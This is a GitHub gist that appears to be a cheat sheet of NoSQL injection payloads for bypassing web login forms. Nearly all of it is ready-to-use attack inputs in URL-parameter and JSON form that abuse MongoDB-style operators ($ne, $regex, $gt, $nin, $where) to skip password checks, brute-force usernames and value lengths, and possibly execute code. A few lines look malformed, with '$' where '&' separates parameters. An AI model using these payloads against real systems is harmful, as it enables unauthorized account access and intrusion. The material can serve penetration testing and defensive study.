Skip to content

Instantly share code, notes, and snippets.

@rootsploit
Last active February 10, 2024 06:41
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rootsploit/88524793f39082c3ec8321f8621d735e to your computer and use it in GitHub Desktop.
Save rootsploit/88524793f39082c3ec8321f8621d735e to your computer and use it in GitHub Desktop.
Login Bypass methodology with NoSQLi
Bypass with Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin$password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Bypass with Not Equal Operator
#in URL
username[$ne]=toto&password[$ne]=toto
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment